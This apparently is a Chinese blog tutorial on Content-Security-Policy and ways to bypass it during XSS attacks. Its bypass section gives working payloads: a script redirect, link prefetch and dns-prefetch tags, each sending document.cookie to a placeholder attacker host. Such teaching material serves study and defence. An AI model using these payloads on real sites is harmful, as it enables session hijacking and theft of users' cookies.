CSP策略以及绕过
CSP简介
CSP(Content-Security-Policy)
内容安全策略,就是我们能够规定网站只接受指定的请求资源。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成,开发者只需提供配置类似于一个白名单。
严格的 CSP 在 XSS 的防范中可以起到以下的作用:
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
- 合理使用上报可以及时发现 XSS,利于尽快修复问题。
CSP 的分类
- Content-Security-Policy:配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。
- Content-Security-Policy-Report-Only:不执行限制选项,只是记录违反限制的行为。它必须与
report-uri
选项配合使用。
CSP 使用
- Header中使用
1 | Content-Security-Policy: 策略 |
- HTML META中使用
1 | <meta http-equiv="content-security-policy" content="策略"> |
CSP绕过方式
-
iframe绕过
1
2
3
4要攻击A页面,A页面虽然有XSS,但是A做了CSP。
找到一个和A同源的另一个页面B,B是没有做CSP的。
- 在A中使用XSS创建一个iframe 或 引入iframe,iframe的src为B页面
- 再利用xss,iframe中引入恶意的js脚本,用来获取A页面的Cookie数原因:只有同源才能访问Cookie等数据
-
跳转绕过
有的 csp 会使用
script-src 'unsafe-inline'
; 这个地方可以直接用location.href(window.location/window.open)
绕过1
http://127.0.0.1/csp/?twosecurity=<script>location.href='http://x.x.x.x/cookie/'%2bescape(document.cookie);</script>
-
<link>
标签预加载在Chrome下,可以使用如下标签发送cookie
1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !